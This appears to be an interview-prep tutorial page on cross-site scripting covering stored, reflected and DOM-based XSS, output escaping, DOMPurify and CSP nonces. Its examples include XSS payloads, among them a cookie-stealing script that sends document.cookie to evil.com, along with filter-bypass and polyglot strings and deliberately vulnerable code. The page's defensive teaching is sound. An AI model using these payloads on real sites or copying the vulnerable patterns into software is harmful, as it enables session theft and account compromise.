Skip to main content

What is XSS and how to prevent it?

XSS (Cross-Site Scripting) is a web vulnerability where an attacker injects malicious scripts into a page you trust, and your browser runs them.

Theory

TL;DR

  • XSS is like slipping a forged note into your bank's system: the browser (teller) treats it as legitimate and executes it
  • Three types: Stored (script saved to DB, hits every viewer), Reflected (script bounced back via URL once), DOM-based (client-side JS writes attacker input directly to the page)
  • The browser has no way to tell which scripts you wrote and which ones got injected
  • Fix: escape at output (not input), sanitize HTML, add a CSP header
  • React auto-escapes JSX, but dangerouslySetInnerHTML skips that protection entirely

Quick example

html
<!-- Vulnerable PHP search page --> <h1>Results for: <?php echo $_GET['q']; ?></h1> <!-- Attack URL --> page.php?q=<script>alert(document.cookie)</script> <!-- Browser sees it as real HTML and executes the script -->

One unescaped echo and the browser runs whatever the URL says. That is the whole attack.

Three types of XSS

Stored XSS saves the payload to your database. A comment containing <script>fetch('https://evil.com?c='+document.cookie)</script> fires for every user who loads that page. One injection, unlimited victims.

Reflected XSS works through a URL. The server reads ?q=<script>... and writes it straight into the HTML response. It fires once per click on the crafted link.

DOM-based XSS never touches the server. Client-side JS reads from location.hash or location.search and writes to innerHTML. The server sends a perfectly clean response, and the browser attacks itself.

javascript
// DOM-based: the server never sees the payload const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); document.getElementById('result').innerHTML = query; // URL: #q=<img src=x onerror=alert(1)> → executes

Why the browser executes injected scripts

Browsers parse HTML through an engine (Blink in Chrome, Gecko in Firefox). When the parser hits a <script> tag or an event attribute like onerror, it hands that to the JS engine (V8 in Chrome) for execution. The engine does not check origin at this stage. It runs whatever the parser gives it.

Same-origin policy controls what scripts can request, not what they can execute. So an injected script runs with full access to document.cookie, localStorage, and the DOM, all within the trusted origin.

When to apply which defense

  • Rendering user content as plain text: use textContent instead of innerHTML, or a template engine that auto-escapes
  • Rendering user-supplied HTML (rich text, Markdown): sanitize with DOMPurify before inserting
  • URL parameters reflected into HTML: HTML-encode the output, not just the input
  • Inline scripts (analytics, A/B tests): use CSP with nonces, not unsafe-inline
  • Cookies with session data: set HttpOnly: true so injected scripts cannot read them

One rule covers most cases: escape at the point of output, not the point of input.

How output escaping works

javascript
function escapeHtml(str) { return str .replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#039;'); } // Safe Express route app.get('/search', (req, res) => { const q = escapeHtml(req.query.q ?? ''); res.send(`<h1>Results for: ${q}</h1>`); // <script> becomes &lt;script&gt; — browser shows text, never executes });

Common mistakes

Escaping on input, not output. Saving escape(userInput) to the database and then rendering with <%= raw(post.comment) %>. The DB escape does not equal HTML escaping. Attackers submit &lt;script&gt;, which decodes back to <script> on output. Fix: escape at render time, every time.

javascript
// Wrong db.save({ comment: sanitize(raw) }); // ...then later... res.send(`<p>${post.comment}</p>`); // Trusts the DB // Right res.send(`<p>${escapeHtml(post.comment)}</p>`); // Escape at output

Whitelisting tags but not attributes. Allowing <b> while leaving onmouseover intact. The result: <b onmouseover=alert(1)>hi</b> executes. A real sanitizer like DOMPurify handles attributes, not just tag names.

javascript
// Wrong: naive tag filter const safe = html.replace(/<script>/gi, ''); // <scr<script>ipt> bypasses this instantly // Right import DOMPurify from 'dompurify'; const safe = DOMPurify.sanitize(html); // Strips dangerous attributes too

CSP with unsafe-inline. Setting script-src 'self' 'unsafe-inline' defeats the whole point. OWASP data puts around 40% of CSP headers misconfigured this way. Use nonces or hashes for any inline script you actually need.

javascript
// Wrong "script-src 'self' 'unsafe-inline'" // Right: fresh nonce per request const nonce = crypto.randomBytes(16).toString('base64'); res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'`); // Then in your template: <script nonce="${nonce}">...

dangerouslySetInnerHTML in React without sanitization. React escapes JSX by default. The moment you use dangerouslySetInnerHTML, that protection is gone. I have seen this in Next.js Markdown renderers that pull raw HTML from a CMS and pass it straight into the prop.

jsx
// Vulnerable function Post({ content }) { return <div dangerouslySetInnerHTML={{ __html: content }} />; } // Fixed import DOMPurify from 'dompurify'; function Post({ content }) { return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }} />; }

Real-world usage

  • Express + Helmet: app.use(helmet()) sets a strict CSP and other security headers in one line
  • React: JSX auto-escapes, so {userInput} is safe; only dangerouslySetInnerHTML needs attention
  • Angular: DomSanitizer sanitizes by default; bypassSecurityTrustHtml() disables it and needs a code review comment explaining why
  • PHP Laravel: Blade's {{ $var }} auto-escapes; {!! $var !!} does not; treat the double-bang as a red flag in code review
  • GitHub and Twitter: enforce script-src 'nonce-...' in production; no unsafe-inline anywhere

Follow-up questions

Q: Name the three types of XSS with one example each.
A: Stored: a comment with <script> saved to DB and executed for all visitors. Reflected: ?q=<script> echoed back in the search results HTML. DOM-based: location.hash written directly to innerHTML on the client.

Q: What is the difference between innerHTML and textContent?
A: innerHTML parses the string as HTML and executes event handlers and scripts. textContent inserts the string as plain text, no parsing at all. Use textContent whenever you do not need HTML structure.

Q: How does CSP reduce XSS risk?
A: CSP tells the browser which script sources are approved. If an attacker injects a <script> tag, the browser blocks it because the source is not on the list. Nonces like 'nonce-abc123' allow specific inline scripts while blocking everything else.

Q: Can a sanitizer miss anything?
A: Yes. Sanitizers work against known attack patterns. Polyglot payloads like javascript:/*</textarea><script>alert(1)</script> can work across multiple contexts (URL, HTML, JS attribute) and may slip through a custom filter. DOMPurify is updated regularly against new bypasses. A hand-rolled tag whitelist is almost always incomplete.

Q (Senior): Explain CSP frame-ancestors vs sandbox.
A: frame-ancestors controls which origins can embed your page in an iframe, which blocks clickjacking attacks. sandbox applies restrictions to an iframe loading untrusted content: no scripts, no popups, no form submission unless explicitly allowed. They solve different problems: one protects your page from being framed, the other constrains what a framed page can do.

Examples

Stored XSS in Express

javascript
const express = require('express'); const DOMPurify = require('isomorphic-dompurify'); const app = express(); // Vulnerable version app.post('/comment', (req, res) => { db.save({ comment: req.body.comment }); // Saves <script>steal()</script> as-is }); app.get('/comments', (req, res) => { const rows = db.getAll(); // Every visitor's browser executes the stored script res.send(rows.map(r => `<p>${r.comment}</p>`).join('')); }); // Fixed version app.post('/comment', (req, res) => { const clean = DOMPurify.sanitize(req.body.comment); // Strip on save db.save({ comment: clean }); }); app.get('/comments', (req, res) => { const rows = db.getAll(); res.send(rows.map(r => `<p>${escapeHtml(r.comment)}</p>`).join('')); // Double layer: sanitize on save, escape on render });

Sanitizing on save AND escaping on render is not redundancy. If one layer fails, the other catches it.

DOM-based XSS in React

jsx
// Vulnerable: reads URL hash, writes raw HTML function Search() { const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); return <div dangerouslySetInnerHTML={{ __html: query }} />; // URL: #q=<svg onload=alert(1)> → React renders SVG → onload fires } // Fixed import DOMPurify from 'dompurify'; function Search() { const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); // Option 1: sanitize and allow HTML markup return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(query) }} />; // Option 2: treat as plain text — preferred when HTML structure is not needed // return <div>{query}</div>; }

Complete Express defense stack

javascript
const express = require('express'); const helmet = require('helmet'); const crypto = require('crypto'); const DOMPurify = require('isomorphic-dompurify'); const app = express(); app.use(express.json()); // Helmet sets X-XSS-Protection, X-Content-Type-Options, and a base CSP app.use(helmet()); // Generate a fresh nonce for inline scripts on every request app.use((req, res, next) => { res.locals.nonce = crypto.randomBytes(16).toString('base64'); res.setHeader( 'Content-Security-Policy', `default-src 'self'; script-src 'self' 'nonce-${res.locals.nonce}'; style-src 'self'` ); next(); }); // HttpOnly cookie so injected scripts cannot read the session token app.post('/login', (req, res) => { res.cookie('session', generateSessionId(), { httpOnly: true, secure: true, sameSite: 'strict' }); res.json({ ok: true }); }); // Validate length and type, then sanitize before saving app.post('/api/comment', (req, res) => { const raw = req.body.comment; if (!raw || typeof raw !== 'string' || raw.length > 2000) { return res.status(400).json({ error: 'Invalid input' }); } const clean = DOMPurify.sanitize(raw); db.save({ comment: clean }); res.json({ ok: true }); });

Three layers working together: CSP blocks execution at the browser level, DOMPurify strips dangerous markup before saving, and HttpOnly limits cookie access even if something slips through.

Short Answer

Interview ready
Premium

A concise answer to help you respond confidently on this topic during an interview.

Finished reading?